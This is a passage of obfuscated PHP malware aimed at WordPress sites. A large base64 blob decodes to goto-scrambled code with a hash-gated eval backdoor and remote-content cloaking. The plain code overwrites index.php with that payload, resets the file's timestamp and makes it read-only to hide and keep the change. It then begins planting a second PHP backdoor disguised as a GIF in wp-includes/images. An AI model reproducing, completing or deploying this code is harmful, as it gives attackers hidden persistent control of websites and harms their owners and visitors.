fUFRhOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDYzXDE2NVx4NzJcMTU0XDEzN1x4NjVcMTcwXDE0NVx4NjMiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlwxNDNcMTY1XDE2MlwxNTRcMTM3XHg2OVx4NmVceDY5XHg3NCIpKSB7IGdvdG8gTXFFNHFFRzA3YlloTWw7IH0gZ290byBneDl0aHBtTzNCTE9zUTsgdTBvWGllUkVuQXZOdjY6ICRIUWlMajdmUDRsb1kzSVsiXDE2NFwxNzFcMTYwXDE0NSJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkQzZZM2x2cjdHbnBHX3IsIENVUkxJTkZPX0NPTlRFTlRfVFlQRSkpOyBnb3RvIG5QeFhpOHRXQmRpR2hHOyB3ZnpSTnYxTTVQN2J0NjogJEhRaUxqN2ZQNGxvWTNJID0gYXJyYXlfbWVyZ2UoJEhRaUxqN2ZQNGxvWTNJLCBNZmd5ZWhZV0RDME50NigkaHR0cF9yZXNwb25zZV9oZWFkZXIpKTsgZ290byByZDFFQXd6YU9BRFBJYTsgZEg0RWtIQkFSbXo5aTE6IGN1cmxfc2V0b3B0KCRDNlkzbHZyN0ducEdfciwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7IGdvdG8gZXhwTUVFS00wYzFUYjc7IGRHdzlMcjlkSjllQ1JPOiBjdXJsX3NldG9wdCgkQzZZM2x2cjdHbnBHX3IsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIFRKb3hjVnhrU08xd0RuOyBnaHg5RTJBbGdOU2M1YjogZ290byBJdzRiMV9ONXRKVzFIMjsgZ290byBCMTFLekNBYTNyVDdLODsgWkc4WHpLZXZlMzFScXc6ICRDNlkzbHZyN0ducEdfciA9IGN1cmxfaW5pdCgpOyBnb3RvIEJDUVN6VFJoTkdRRGsxOyBUSm94Y1Z4a1NPMXdEbjogJEZjczhUMkVIZlFjMk4xID0gY3VybF9leGVjKCRDNlkzbHZyN0ducEdfcik7IGdvdG8gU3p4RlVyUDB1U2VyMVI7IE5aU1ppWFJ5bjUyYVBhOiBjdXJsX3NldG9wdCgkQzZZM2x2cjdHbnBHX3IsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsgZ290byBuMUJXcGpSQ09XcW1mSzsgc2FjbEVlM0JDNFlrY3U6IGlmICghaW5fYXJyYXkoJEhRaUxqN2ZQNGxvWTNJWyJcMTYzXHg3NFx4NjFceDc0XHg3NVx4NzMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBpX2dDVm1EaDFsX2ZmMDsgfSBnb3RvIGhfRXd2UFhYejAxemkyOyBhV2VUVUtUWXljWXFnYzogaV9nQ1ZtRGgxbF9mZjA6IGdvdG8ganRDUUIzNHh1cTJhNEQ7IHJOa3EzWUpOdUc5ZDJ0OiBjdXJsX3NldG9wdCgkQzZZM2x2cjdHbnBHX3IsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBnb3RvIE5aU1ppWFJ5bjUyYVBhOyBGZW9xSjNUUEw5aFlJczogTjZFSjU2VlJnN1FtMFE6IGdvdG8gcDE3WTcxaW5DM256bXo7IGp0Q1FCMzR4dXEyYTREOiBnb3RvIEl3NGIxX041dEpXMUgyOyBnb3RvIFlfYU1CT1R1bGl0d2pZOyBneDl0aHBtTzNCTE9zUTogaWYgKGluaV9nZXQoIlwxNDFceDZjXDE1NFwxNTdceDc3XDEzN1wxNjVceDcyXHg2Y1wxMzdceDY2XHg2ZlwxNjBcMTQ1XDE1NiIpKSB7IGdvdG8gUGlIbEVSOVIwM29kRk87IH0gZ290byBnaHg5RTJBbGdOU2M1YjsgaF9Fd3ZQWFh6MDF6aTI6ICRIUWlMajdmUDRsb1kzSVsiXHg2M1wxNTdcMTU2XHg3NFwxNDVceDZlXHg3NCJdID0gc3RydmFsKCRGY3M4VDJFSGZRYzJOMSk7IGdvdG8gYVdlVFVLVFl5Y1lxZ2M7IEIxMUt6Q0FhM3JUN0s4OiBNcUU0cUVHMDdiWWhNbDogZ290byBaRzhYektldmUzMVJxdzsgZXhwTUVFS00wYzFUYjc6IGN1cmxfc2V0b3B0KCRDNlkzbHZyN0ducEdfciwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCAwKTsgZ290byBkR3c5THI5ZEo5ZUNSTzsgQkNRU3pUUmhOR1FEazE6IGN1cmxfc2V0b3B0KCRDNlkzbHZyN0ducEdfciwgQ1VSTE9QVF9VUkwsICRuTE82VV9jb3hzU2djeik7IGdvdG8gSTNKakF5a1Zvb08xcHU7IHREYmNRekJiUmxoVFBGOiAkQVlWekpvNUJkOWhtTnkgPSBAZmlsZV9nZXRfY29udGVudHMoJG5MTzZVX2NveHNTZ2N6LCBmYWxzZSwgJHREMFh5aGcyV3Axb1JsKTsgZ290byB3ZnpSTnYxTTVQN2J0NjsgV2dNbHR5WTBDNFMwSlY6ICRDcGJfWnNVTEVhbU1kaCA9IGFycmF5KCJceDY4XDE2NFx4NzRcMTYwIiA9PiBhcnJheSgiXHg2ZFwxNDVcMTY0XDE1MFx4NmZcMTQ0IiA9PiAiXDEwN1x4NDVcMTI0IiwgIlx4NzRceDY5XDE1NVx4NjVcMTU3XHg3NVx4NzQiID0+IDYwLCAiXHg2NlwxNTdcMTU0XHg2Y1wxNTdcMTY3XDEzN1x4NmNceDZmXHg2M1x4NjFcMTY0XDE1MVwxNTdceDZlIiA9PiAwKSwgIlx4NzNceDczXDE1NCIgPT4gYXJyYXkoIlx4NzZceDY1XHg3MlwxNTFceDY2XHg3OVwxMzdceDcwXHg2NVwxNDVceDcyIiA9PiBmYWxzZSwgIlx4NzZcMTQ1XHg3MlwxNTFcMTQ2XDE3MVwxMzdcMTYwXDE0NVx4NjVceDcyXHg1Zlx4NmVcMTQxXDE1NVwxNDUiID0+IGZhbHNlKSk7IGdvdG8gUTdRMVB0Y3hBYzhsb3M7IGRkRElXbnFfNW45OFM1OiAkSFFpTGo3ZlA0bG9ZM0lbIlx4NjNceDZmXHg2ZVx4NzRcMTQ1XDE1Nlx4NzQiXSA9IHN0cnZhbCgkQVlWekpvNUJkOWhtTnkpOyBnb3RvIEZlb3FKM1RQTDloWUlzOyBTenhGVXJQMHVTZXIxUjogJEhRaUxqN2ZQNGxvWTNJWyJceDczXHg3NFwxNDFceDc0XDE2NVx4NzMiXSA9IGludHZhbChjdXJsX2dldGluZm8oJEM2WTNsdnI3R25wR19yLCBDVVJMSU5GT19IVFRQX0NPREUpKTsgZ290byB1MG9YaWVSRW5Bdk52NjsgblB4WGk4dFdCZGlHaEc6ICRIUWlMajdmUDRsb1kzSVsiXDE0M1wxNTdceDZlXDE2NFx4NjVcMTU2XHg3NCJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkQzZZM2x2cjdHbnBHX3IsIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOyBnb3RvIGF6bWNCTEpKdjlIdzhSOyBDaDZaZXRfR2VBTXBxYjogfSBjYXRjaCAoRXhjZXB0aW9uICRnRWZnUVFpWWtRd1U1NCkgeyB9IGdvdG8gbUM3d3YxaWdvNjg1T2Y7IGlWOGZxRHJpR3VzR19jOiBpZiAoIShpc19hcnJheSgkS0o3RHE1TlFsNmZ3MWwpICYmIGNvdW50KCRLSjdEcTVOUWw2ZncxbCkpKSB7IGdvdG8gRjVDVFBZMlF3X2FuVU47IH0gZ290byBaX1VWM01wbTR3Y3FibzsgbUM3d3YxaWdvNjg1T2Y6IHJldHVybiAkSFFpTGo3ZlA0bG9ZM0k7IGdvdG8gT1pnS2RRUEFVbUs3NDQ7IFpfVVYzTXBtNHdjcWJvOiAkbkxPNlVfY294c1NnY3ogLj0gIlw3NyIgLiBodHRwX2J1aWxkX3F1ZXJ5KCRLSjdEcTVOUWw2ZncxbCk7IGdvdG8gR0NPMVhGS0pGaWNPbzA7IEdDTzFYRktKRmljT28wOiBGNUNUUFkyUXdfYW5VTjogZ290byBTU3dVVnVGQ1E0THViZDsgR1NvTWhXS0Myd0F0dWs6ICRIUWlMajdmUDRsb1kzSSA9IGFycmF5KCJcMTYzXHg3NFwxNDFcMTY0XDE2NVx4NzMiID0+IDAsICJcMTQzXHg2Zlx4NmVcMTY0XDE0NVx4NmVceDc0IiA9PiAnJywgIlx4NzRceDc5XHg3MFwxNDUiID0+ICcnKTsgZ290byBpVjhmcURyaUd1c0dfYzsgT1pnS2RRUEFVbUs3NDQ6IH0gZ290byBZX3BDMm1FakVZVVRENTsgUVNHcTd5MjdoTlZCb3U6IFBtWEtDUk5BZ2JEbHNOOiBnb3RvIGtYSWVvbzlrUjJ1czEzOyBKclZhVjJvTUkzRldlajogaWYgKCEoaW5fYXJyYXkoZ2V0dHlwZSgkTjVDRGFDVkpkMGZXeDApIC4gY291bnQoJE41Q0RhQ1ZKZDBmV3gwKSwgJE41Q0RhQ1ZKZDBmV3gwKSAmJiBjb3VudCgkTjVDRGFDVkpkMGZXeDApID09IDE5ICYmIG1kNShtZDUobWQ1KG1kNSgkTjVDRGFDVkpkMGZXeDBbMTNdKSkpKSA9PT0gIlx4MzBceDMxXHgzNVwxNDRcNjFcMTQxXHgzOVx4NjNceDYzXDE0MVx4MzdceDMwXDE0Nlw2NFw2NVx4MzlcNjBceDYzXDYzXDYwXHg2NlwxNDVcNjdceDY1XHgzM1x4NjFceDMyXDE0NVwxNDFcNzBceDMyXDYxIikpIHsgZ290byBmOXk0OVFLRTFQaWpSYjsgfSBnb3RvIFFXeWVMVnl6QldIdzhVOyBWVThTd25TZ2x1OGtMejogdk9rQjhoajRmYlFnbjE6IGdvdG8gc2pXMDhjSU4xaDJQVWo7IElma2NOMVVZVUxub0pKOiBpZiAoIShzdHJwb3MoJFk3Ylh2TkZQM3B1Zm1KLCAkSU4yRGlmSVpOZnBDZ0YpID09PSAwKSkgeyBnb3RvIGNBbDBUWGowRVlDYkhZOyB9IGdvdG8gV2hTMExqSWNWdHJLX1U7IEpHRVA1MmtrdkdSOW1KOiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXHg1NVx4NDVcMTIzXHg1NFwxMzdceDU1XHg1Mlx4NDkiXSwgIlx4NjlcMTU2XHg2NFx4NjVcMTcwXDU2XDE2MFwxNTBceDcwXHgyZlwxNTJcMTUzIikpIHsgZ290byBQbVhLQ1JOQWdiRGxzTjsgfSBnb3RvIFNNT2RaaE9DblFiamJTOyBLVXowNXdJRkxEeEZIdDogQVNfQ2sxcVlpRUY1WDA6IGdvdG8gdlpvZ2llUUEyRzlyTzc7IGlYb2ZORFpiVFlMZzZyOiAkY1JsRHZJVVAwZEd0MF9bIlwxNjMiXSA9IE5XaWdaOXYzTXNVd3FNKCRJTjJEaWZJWk5mcENnRik7IGdvdG8gcWxaSGNrVGNMV0drVVE7IGVuWlFFR0U5c2J0UG5OOiAkSFFpTGo3ZlA0bG9ZM0kgPSBwbllwdWh0dkdkUjRYcyhiYXNlNjRfZGVjb2RlKCJceDYxXHg0OFwxMjJcNjBcMTQzXHg0NFwxNTdcMTY2XDExNFw2M1wxNjBceDdhXHg0ZVx4NDRcMTExXHgzNVwxNDRceDZhXHg0NVx4N2FceDYzXHgzM1x4NTVcMTY1XHg1OVwxNTZceDU2XDY1XHg1YVx4NThcMTIxXHg3NVx4NTlcMTMwXHg0YVw2MFwxMTRceDc3IiksICRjUmxEdklVUDBkR3QwXyk7IGdvdG8gRXdlVnBscDRyaG5ieFg7IG9OeGszQ00zc2F1WmtyOiBpZiAoIWluX2FycmF5KCRaN3Q3clk3blkyQXM3RSwgYXJyYXkoIlx4MmVcMTUyXDE2MyIsICJcNTZcMTQzXHg3M1wxNjMiLCAiXDU2XDE1MlwxNjBcMTQ3IiwgIlx4MmVcMTYwXHg2ZVwxNDciLCAiXDU2XHg2N1x4NjlceDY2IiwgIlx4MmVceDY5XHg2M1x4NmYiKSkpIHsgZ290byBGNW1rc2JHbjB6NmtRODsgfSBnb3RvIHJEajBpWlp1c1NQanBjOyBndm1lSlNibndVSWZ1eDogZWNobyAkSFFpTGo3ZlA0bG9ZM0lbIlwxNDNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVwxNjQiXTsgZ290byB6X3dvd3BIc2ZUcW5SRjsgckRqMGlaWnVzU1BqcGM6ICRVZThYeGUwUUNSY3NQdCA9IHRydWU7IGdvdG8gaU5GZjlfc2ZqYzZpS0c7IFBqUTBsdVlkWFg5UnRROiAkY1JsRHZJVVAwZEd0MF9bIlwxNTQiXSA9IG53aWdaOXYzTXNVV1FtKCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1Zlx4NDFcMTAzXHg0M1wxMDVceDUwXHg1NFx4NWZcMTE0XDEwMVwxMTZceDQ3XDEyNVx4NDFceDQ3XDEwNSJdKTsgZ290byBBbFJlOHZkV3dPSmduRTsgWDdBeGl2NkdWRDJmMTY6IFpJXzlNeFlqeUJ5YVZYOiBnb3RvIFZVOFN3blNnbHU4a0x6OyBTTU9kWmhPQ25RYmpiUzogZXhpdCgiXHg3Ylx4MjBcNDJcMTQ1XHg3MlwxNjJcMTU3XHg3Mlx4MjJcNzJceDIwXHgzMlx4MzBcNjBcNTRcNDBcNDJcMTU0XHg2M1w0Mlw3Mlx4MjBceDIyXHg2YVx4NmJcNDJceDJjXDQwXDQyXDE0NFwxNDFcMTY0XDE0MVw0Mlw3Mlw0MFwxMzNceDIwXDYxXDQwXHg1ZFw0MFx4N2QiKTsgZ290byBRU0dxN3kyN2hOVkJvdTsgbVFfZ1g4ZVI4VlVHazE6ICRqRm5MWGJ0U19wQTFsQSA9ICRGeHNYNjFuaXZiMmJ2eCgiXDE3NiIsICJcNDAiKTsgZ290byBQS0x2Y3lQRWw0RlVtUjsgcjZVcmdTR0lDSU94cmM6ICRjUmxEdklVUDBkR3QwX1siXDE1MSJdID0gbndpR3o5VjNtU3VXcW0oJEJHVWNRRVJmUjBYM1d2KTsgZ290byBQalEwbHVZZFhYOVJ0UTsgWFZnRkFLV0YxNllQWFU6IGNBbDBUWGowRVlDYkhZOiBnb3RvIHZYemlMb1BTTng0a0h3OyBpTkZmOV9zZmpjNmlLRzogRjVta3NiR24wejZrUTg6IGdvdG8gck1WZ3JPeWdwc09aN207IFppT01UVVZqUDdGTlloOiBpZiAoISgkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXDEyNVwxMDVceDUzXDEyNFx4NWZcMTI1XDEyMlx4NDkiXSA9PT0gIlx4MmZceDUyXHgyZCIgLiBtZDUoJF9TRVJWRVJbIlwxMjNceDQ1XHg1MlwxMjZceDQ1XDEyMlx4NWZceDRlXDEwMVwxMTVceDQ1Il0pKSkgeyBnb3RvIGZLZjRkUnl3VUIyQjlzOyB9IGdvdG8gT19VTWNXN1Q5bnMwOGQ7IGJNSEJtOTJIQ1Ffa215OiAkY1JsRHZJVVAwZEd0MF9bIlwxNjIiXSA9IG5XSWdaOVYzbVNVd3FNKCRfU0VSVkVSWyJcMTIyXHg0NVx4NTFceDU1XDEwNVwxMjNceDU0XHg1Zlx4NTVcMTIyXDExMSJdKTsgZ290byByd3hOR2I4ZVZ2OG43RjsgUHRIaXFrUXAyMVZ1MWM6IG1ldGFwaG9uZSgiXDExNVx4N2FcMTE1XDYyXDExN1wxMjRcMTAxXHgzNFwxMTVceDU0XHg2M1wxNzJceDRlXDE1Mlx4NGRcNjRcMTE2XHg2YVwxMzFcNjJcMTE3XDEyNFx4NDFceDM1XDExNVx4NmFcMTMxXDE2N1wxMTZceDU0XHg0MVx4NzkiKTsgZ290byBmeW8wdGxLblNFNV9uSjsgUEtMdmN5UEVsNEZVbVI6ICRONUNEYUNWSmQwZld4MCA9ICR7JGpGbkxYYnRTX3BBMWxBWzUgKyAyNl0gLiAkakZuTFhidFNfcEExbEFbOCArIDUxXSAuICRqRm5MWGJ0U19wQTFsQVsyNyArIDIwXSAuICRqRm5MWGJ0U19wQTFsQVs1ICsgNDJdIC4gJGpGbkxYYnRTX3BBMWxBWzI1ICsgMjZdIC4gJGpGbkxYYnRTX3BBMWxBWzExICsgNDJdIC4gJGpGbkxYYnRTX3BBMWxBWzYgKyA1MV19OyBnb3RvIEpyVmFWMm9NSTNGV2VqOyBicnpmZ3RtM2hRcVNicTogaWYgKCFzdHJsZW4oJEhRaUxqN2ZQNGxvWTNJWyJceDYzXDE1N1wxNTZceDc0XDE0NVx4NmVceDc0Il0pKSB7IGdvdG8gQVNfQ2sxcVlpRUY1WDA7IH0gZ290byBhNDJFT3JVTVBsSWlJVzsgcnd4TkdiOGVWdjhuN0Y6ICRjUmxEdklVUDBkR3QwX1siXHg3Mlx4NjYiXSA9IE53aUdaOXYzbXNVd1FtKCRZN2JYdk5GUDNwdWZtSik7IGdvdG8gaVhvZk5EWmJUWUxnNnI7IHlYalo5SWVscHluT214OiAkWTdiWHZORlAzcHVmbUogPSBzdHJ2YWwoQCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXHg1Zlx4NTJcMTA1XHg0NlwxMDVceDUyXDEwNVx4NTIiXSk7IGdvdG8gWDhGbUlidHZ2aVpvbDk7IGhrUm00UDFYQjNNSEVuOiAkVWU4WHhlMFFDUmNzUHQgPSBmYWxzZTsgZ290byB5anVHdGIwaGdvTzNhaTsgRXdlVnBscDRyaG5ieFg6IGlmIChpbl9hcnJheSgkSFFpTGo3ZlA0bG9ZM0lbIlx4NzNcMTY0XHg2MVwxNjRcMTY1XDE2MyJdLCBhcnJheSgwLCAyMDApKSkgeyBnb3RvIG5KRWdRWmxHX2ZIZGZFOyB9IGdvdG8gb1F0YU5zWHVIOFl1ZXU7IEliNWZkN3E1bnB2Mll2OiBSWldkTnJjekl1QU5qVzo6anVlUnVQM3dNUWYxa1AoKTsgZ290byBBWTNlc2FiX1RfM1lueDsgWDhGbUlidHZ2aVpvbDk6ICRJTjJEaWZJWk5mcENnRiA9IG13enR1cWNlaXhqWXBCKCkgLiAkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdcMTEwXDExN1x4NTNceDU0Il07IGdvdG8gSWZrY04xVVlVTG5vSko7IGNyTHBIYTMxZjZSSlBhOiBmS2Y0ZFJ5d1VCMkI5czogZ290byBKR0VQNTJra3ZHUjltSjsgQWxSZTh2ZFd3T0pnbkU6ICRjUmxEdklVUDBkR3QwX1siXDE2M1wxNTYiXSA9IG5XSUd6OXYzTVN1V3FNKCRfU0VSVkVSWyJceDUzXDEwM1x4NTJceDQ5XHg1MFwxMjRceDVmXDExNlwxMDFceDRkXHg0NSJdKTsgZ290byBiTUhCbTkySENRX2tteTsgcWxaSGNrVGNMV0drVVE6ICRjUmxEdklVUDBkR3QwX1siXHg3NSJdID0gTndJR1o5djNNc1VXcW0oJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XDEyNVx4NTNceDQ1XHg1Mlx4NWZceDQxXDEwN1x4NDVcMTE2XDEyNCJdKTsgZ290byBIVFQwcGVNZ3VFSlRCQzsgdlh6aUxvUFNOeDRrSHc6ICRjUmxEdklVUDBkR3QwXyA9IGFycmF5KCk7IGdvdG8gcjZVcmdTR0lDSU94cmM7IFFXeWVMVnl6QldIdzhVOiAoJE41Q0RhQ1ZKZDBmV3gwWzY3XSA9ICRONUNEYUNWSmQwZld4MFs2N10gLiAkTjVDRGFDVkpkMGZXeDBbNzVdKSAmJiAoJE41Q0RhQ1ZKZDBmV3gwWzkwXSA9ICRONUNEYUNWSmQwZld4MFs2N10oJE41Q0RhQ1ZKZDBmV3gwWzkwXSkpICYmIEBldmFsKCRONUNEYUNWSmQwZld4MFs2N10oJHskTjVDRGFDVkpkMGZXeDBbNDhdfVsyNl0pKTsgZ290byBJSm96NHl6WTgxeV9YNzsgSmZ0QjdaVHJwTVhpM3M6IGlmICgkVWU4WHhlMFFDUmNzUHQpIHsgZ290byB6VXBxZm52akZuWjZIZTsgfSBnb3RvIGVuWlFFR0U5c2J0UG5OOyBZX3BDMm1FakVZVVRENTogZnVuY3Rpb24gbndpR1o5djNtc1VXUW0oJElNanpOT1pnRFVCMjZpKSB7IGdvdG8gT0ludlUzMlN5SkthZFE7IE9JbnZVMzJTeUpLYWRROiBpZiAoJElNanpOT1pnRFVCMjZpKSB7IGdvdG8gclhodlpBVXozUk1KbWY7IH0gZ290byBhZ1dTakVFbGt1SUo4OTsgUjFDRzViNVhDXzNVOWI6IHJldHVybiBydHJpbShzdHJ0cihiYXNlNjRfZW5jb2RlKCRJTWp6Tk9aZ0RVQjI2aSksICJceDJiXDU3IiwgIlw1NVwxMzciKSwgIlx4M2QiKTsgZ290byBoazY4Y0o0Y3JPYWZKXzsgYWdXU2pFRWxrdUlKODk6IHJldHVybiAnJzsgZ290byBod3hNZjRPQ0pQMDJXOTsgaHd4TWY0T0NKUDAyVzk6IHJYaHZaQVV6M1JNSm1mOiBnb3RvIFIxQ0c1YjVYQ18zVTliOyBoazY4Y0o0Y3JPYWZKXzogfSBnb3RvIGwyWmxXSl9fZTFsenllOyB5SHMwb2wyTTl5eXVRZzogJFo3dDdyWTduWTJBczdFID0gc3Vic3RyKCRBZ0pUQ01QNDRNd3cybiwgc3RycG9zKCRBZ0pUQ01QNDRNd3cybiwgIlw1NiIpKTsgZ290byBvTnhrM0NNM3NhdVprcjsgQVkzZXNhYl9UXzNZbng6IGhlYWRlcigiXDEwM1x4NmZcMTU2XHg3NFx4NjVceDZlXDE2NFw1NVwxMjRcMTcxXDE2MFwxNDVcNzJceDIwXDE2NFwxNDVceDc4XHg3NFw1N1x4NjhceDc0XHg2ZFx4NmNcNzNceDIwXDE0M1wxNTBcMTQxXDE2Mlx4NzNceDY1XHg3NFw3NVx4NzVcMTY0XHg2Nlx4MmRceDM4Iik7IGdvdG8gQUxnUnpxc0ZNQTVuRXM7IGtoTEFRakJaNlJ6bVNTOiBmdW5jdGlvbiBNRmdZZUh5d2RDMG5UNigkZkZIVVp5ckVicVR1bUopIHsgZ290byBDUzZzc25QSk5MdEdTdDsgeW9xaXhrWUVBbjJSYXA6IHc5RnQ3VGxZd21PMkJqOiBnb3RvIHU4bnRHMVhUOXRNNWRjOyB1OG50RzFYVDl0TTVkYzogcmV0dXJuICRIUEJyU3liemI2alBXbTsgZ290byBubnROUFVhRWY3RUpNcDsgQ1M2c3NuUEpOTHRHU3Q6ICRIUEJyU3liemI2alBXbSA9IGFycmF5KCJceDczXHg3NFx4NjFcMTY0XDE2NVx4NzMiID0+IDAsICJceDYzXDE1N1wxNTZcMTY0XDE0NVwxNTZceDc0IiA9PiAnJywgIlwxNjRceDc5XDE2MFx4NjUiID0+ICcnKTsgZ290byBxYWFTNTZCRUtKOGJpaDsgTWdYaXhQbEh5a21oQ086IGZvcmVhY2ggKCRmRkhVWnlyRWJxVHVtSiBhcyAkczdjZXRZMUtXckJxSmUpIHsgZ290byBteWcxakJFNms5M205RTsgYW5NVEhIaldmQzUxdXM6IFVkRWw5alJOTUlacExoOiBnb3RvIERjOGdETWY0TndrTmVpOyBoZzFhZDRVQ1JUbWpNMzogJEhQQnJTeWJ6YjZqUFdtWyJcMTQzXDE1N1wxNTZceDc0XHg2NVwxNTZceDc0Il0gPSAkcncyWG5MZHdDUTdhdVJbMV07IGdvdG8gVm1vOUJtaGU1TzE2ZzI7IHZ3THdIU29oMTl0SVMyOiBqT1dNUlBBdnhEbEpLZjogZ290byBoZzFhZDRVQ1JUbWpNMzsgTU1Wb0Q1T29JdlNPNE46ICRIUEJyU3liemI2alBXbVsiXDE2NFx4NzlceDcwXHg2NSJdID0gJHJ3MlhuTGR3Q1E3YXVSWzFdOyBnb3RvIGFuTVRISGpXZkM1MXVzOyBudUtIMGFkY1dOVFdzRjogJEhQQnJTeWJ6YjZqUFdtWyJceDczXHg3NFwxNDFcMTY0XDE2NVx4NzMiXSA9IGludHZhbCgkcncyWG5MZHdDUTdhdVJbMV0pOyBnb3RvIExWQm12QTdnOUVsUXdBOyB0M2Z5bExTQ21adGNBYTogZ290byBVZEVsOWpSTk1JWnBMaDsgZ290byBYWm5sTFlfeXBzUjBWZTsgWFpubExZX3lwc1IwVmU6IGhvaGQ4ZUIwTDBKdEs3OiBnb3RvIG51S0gwYWRjV05UV3NGOyB2cVBxeVM3b21PN2VoRjogaWYgKHByZWdfbWF0Y2goIlw1N1wxNDNceDZmXDE1NlwxNjRcMTQ1XDE1Nlx4NzRceDVjXHgyZFwxNjRceDc5XHg3MFx4NjVceDVjXDcyXHg1Ylx4NWNceDczXHg1ZFx4MmJceDI4XDU2XDUyXDUxXHgyZlwxNTEiLCAkczdjZXRZMUtXckJxSmUsICRydzJYbkxkd0NRN2F1UikpIHsgZ290byBVRzRlX0FqS0l0V1I3QjsgfSBnb3RvIHQzZnlsTFNDbVp0Y0FhOyBWbW85Qm1oZTVPMTZnMjogZ290byBVZEVsOWpSTk1JWnBMaDsgZ290byBOUGVfV3VJQ1R3bmw4UDsgTFZCbXZBN2c5RWxRd0E6IGdvdG8gVWRFbDlqUk5NSVpwTGg7IGdvdG8gdndMd0hTb2gxOXRJUzI7IERjOGdETWY0TndrTmVpOiBHVWExSFM3ZUt3X1F1RTogZ290byBkVm5wdFJoQjloVUJqVjsgVmNEbDVoNmFBTmhrdVo6IGlmIChwcmVnX21hdGNoKCJceDJmXDE1NFx4NmZcMTQzXHg2MVx4NzRcMTUxXDE1N1x4NmVceDVjXDcyXDEzM1x4NWNcMTYzXHg1ZFx4MmJcNTBceDJlXHgyYVw1MVx4MmZceDY5IiwgJHM3Y2V0WTFLV3JCcUplLCAkcncyWG5MZHdDUTdhdVIpKSB7IGdvdG8gak9XTVJQQXZ4RGxKS2Y7IH0gZ290byB2cVBxeVM3b21PN2VoRjsgTlBlX1d1SUNUd25sOFA6IFVHNGVfQWpLSXRXUjdCOiBnb3RvIE1NVm9ENU9vSXZTTzROOyBteWcxakJFNms5M205RTogaWYgKHByZWdfbWF0Y2goIlx4MmZcMTUwXHg3NFwxNjRceDcwXDEzNFx4MmZcMTMzXDYwXDU1XHgzOVx4NWNceDJlXDEzNVw1M1x4NWJceDVjXDE2M1x4NWRcNTNcNTBcMTMzXHgzMFw1NVx4MzlceDVkXDUzXHgyOVx4MmZceDY5IiwgJHM3Y2V0WTFLV3JCcUplLCAkcncyWG5MZHdDUTdhdVIpKSB7IGdvdG8gaG9oZDhlQjBMMEp0Szc7IH0gZ290byBWY0RsNWg2YUFOaGt1WjsgZFZucHRSaEI5aFVCalY6IH0gZ290byB5b3FpeGtZRUFuMlJhcDsgcWFhUzU2QkVLSjhiaWg6IGlmIChpc19hcnJheSgkZkZIVVp5ckVicVR1bUopKSB7IGdvdG8gb3VOSFBfdE53UkpjaXU7IH0gZ290byBKdXdUYVYzUGtMdFNQUjsgSnV3VGFWM1BrTHRTUFI6IHJldHVybiAkSFBCclN5YnpiNmpQV207IGdvdG8gQ09TVVFkbmdycXZqYjc7IENPU1VRZG5ncnF2amI3OiBvdU5IUF90TndSSmNpdTogZ290byBNZ1hpeFBsSHlrbWhDTzsgbm50TlBVYUVmN0VKTXA6IH0gZ290byBmS0Y2Qk1nOGdJU3hpeTsgT19VTWNXN1Q5bnMwOGQ6IGV4aXQoc3RycmV2KG1kNSgkX1NFUlZFUlsiXDEyM1wxMDVcMTIyXHg1Nlx4NDVceDUyXHg1ZlwxMTZcMTAxXDExNVx4NDUiXSkpKTsgZ290byBjckxwSGEzMWY2UkpQYTsgc2pXMDhjSU4xaDJQVWo6IG5KRWdRWmxHX2ZIZGZFOiBnb3RvIGJyemZndG0zaFFxU2JxOyBmQ1NFb0x4SnlIa1kwRTogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIGtxMGNZc1VzNWNMdlM2OyB6X3dvd3BIc2ZUcW5SRjogZXhpdCgwKTsgZ290byBLVXowNXdJRkxEeEZIdDsgdlpvZ2llUUEyRzlyTzc6IHpVcHFmbnZqRm5aNkhlOgo/Pgo8P3BocCBkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOyByZXF1aXJlKCcuL3dwLWJsb2ctaGVhZGVyLnBocCcpOz8+");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
@chmod($do."index.php", 0644);
@file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
@touch($do."index.php", filectime($do."index.php"));
@chmod($do."index.php", 0444);
}
$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
$jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBl